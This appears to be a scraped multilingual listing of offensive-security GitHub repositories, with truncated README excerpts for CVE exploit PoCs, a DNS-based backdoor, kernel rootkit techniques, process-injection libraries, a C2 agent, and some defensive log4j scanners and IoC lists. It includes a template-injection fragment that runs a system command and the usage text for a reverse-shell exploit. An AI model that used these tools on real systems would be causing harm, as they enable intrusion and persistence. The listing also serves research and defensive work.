win32k-callback-detouring

Отказ от ответственности Этот репозиторий предоставлен строго в образовательных и исследовательских целях, связанных с защитой. В нём демонстрируются внутренние механизмы диспетчеризации обратных вызовов Windows и концепции управления потоком выполнения, связанные с KernelCallbackTable, в контекс...

CVE-2022-46169

CVE-2022-41343 🐍 Exploit Python pour CVE-2022-46169 Reverse Shell Stagé pour Cacti = 1.2.22 Exemple cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Utilisation usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callback Port...

ddoor

ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...

log4j-CVE-2021-44228-Public-IoCs

Liste publique d'IoCs pour log4j log4shell CVE-2021-44228 IoCs publics concernant log4j CVE-2021-44228 log4shell basés sur Twitter et d'autres réseaux sociaux pull requests acceptées, je supprime les doublons automatiquement IPs...

extended-ssrf-search

Recherche étendue de SSRF Cet outil recherche les SSRF en utilisant des paramètres prédéfinis dans différentes parties d'une requête chemin, hôte, en-têtes, paramètres POST et GET. Première étape Renommez example.app-settings.conf en app-settings.conf et ajustez les paramètres. Le paramètre le pl...

CVE-2022-24086

CVE-2022-24086 PoC de CVE-2022-24086 var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2024-28255

OpenMetadataRCE CVE-2024-28255 Analyse/exploitation par lots 1. Cet outil est utilisé uniquement pour les tests de sécurité, et je ne suis pas responsable de toute attaque illégale. 2. L'outil est utilisé uniquement pour les tests de sécurité, et je ne suis pas responsable de toute attaque...

CVE-2024-21338-Exploit

CVE-2024-21338 Exploit Описание проекта Это POC для CVE-2024-21338 — уязвимости повышения привилегий в драйвере Windows AppLocker appid.sys. Эта уязвимость использовалась группировкой Lazarus как 0day для локального повышения привилегий в Windows. Предыстория уязвимости CVE-2024-21338 — это...

VectorKernel

VectorKernel PoCs pour la recherche ou l'éducation sur les techniques de rootkit en mode noyau. Actuellement axé sur Windows OS. Tous les modules ne supportent que les OS 64 bits de la famille x64. Environnement Tous les modules sont testés sous Windows 11 x64. Pour tester les pilotes, les option...

herpaderping

Process Herpaderping png.HerpaderpIcon Process Herpaderping is a method of obscuring the intentions of a process by modifying the content on disk after the image has been mapped. This results in curious behavior by security products and the OS itself. !png.mimioogle !gif.SurivDemo Summary...

herpaderping

Process Herpaderping png.HerpaderpIcon Process Herpaderping — это метод сокрытия намерений процесса путем изменения содержимого на диске после того, как образ был отображен. Это приводит к любопытному поведению со стороны продуктов безопасности и самой ОС. !png.mimioogle !gif.SurivDemo Краткое...

CVE-2026-49176_BOF

CVE-2026-49176 BOF для Cobalt Strike Cobalt Strike Beacon Object File BOF для локального повышения привилегий через Windows WalletService CVE-2026-49176 , исправлено в июле 2026 года. Из Beacon со средним уровнем целостности обычный пользователь этот инструмент подготавливает вредоносную ESE-базу...

CVE-2026-33017

CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow — PoC удаленного выполнения кода ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Настройка окружения Используйте следующие команды, чтобы собрать и запустить уязвимое окружение Langflow: docker build -t...

CVE-2022-23614

CVE-2022-23614 Preuve de concept pour CVE-2022-23614, GHSA-5mv2-rx3q-4w2v exécution de code/dépassement du bac à sable du filtre sort de Twig Comme vu dans ce commit - https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9, twig passait le nom de fonction fourni par...

log4shell-tools

log4shell.tools log4shell.tools est un outil qui vous permet d'exécuter un test pour vérifier si l'une de vos applications est affectée par les récentes vulnérabilités de log4j : CVE-2021-44228 et CVE-2021-45046. Il s'agit du code qui alimente https://log4shell.alexbakker.me. Si vous souhaitez...

CVE-2024-47176-Scanner

Scanneur CVE-2024-47176 PoC d'Evilsocket pour CVE-2024-47176, réduit et transformé en scanner. Littéralement, je l'ai ouvert dans vim et j'ai maintenu la touche d enfoncée. Lisez ses recherches ici. Ce script envoie simplement le paquet UDP initial au port 631 et déclenche un callback http,...

Talon

Talon Talon — это сторонний агент для Havoc, написанный на C. Он очень минималистичный и предназначен для демонстрации работы с сервисным API Havoc. Talon.py — это скрипт, который обрабатывает обратные вызовы, запросы на регистрацию и задачи, взаимодействуя с сервисным API Havoc...

wnfexec

Aperçu WnfExec est une bibliothèque de preuve de concept en C qui injecte du shellcode dans un processus en détournant un rappel d'abonnement WNF, puis en déclenchant un changement d'état. Il n'y a rien de nouveau ici et ce projet a été construit à partir des recherches d'autres personnes. Mon...

CVE-2020-15227

CVE-2020-15227 AVERTISSEMENT ! Je ne prends aucune responsabilité de son utilisation dans un environnement réel, alors veuillez NE PAS le faire. Ce truc est juste pour démontrer et pour tester des choses pour les administrateurs système. J'ai créé cet exploit suite à la publication d'un CVE de...

CVE-2022-30525

CVE-2022-30525 Vulnérabilité d'injection de commande à distance non authentifiée sur les pare-feux Zyxel Composants concernés USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 Versions du firmware ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10...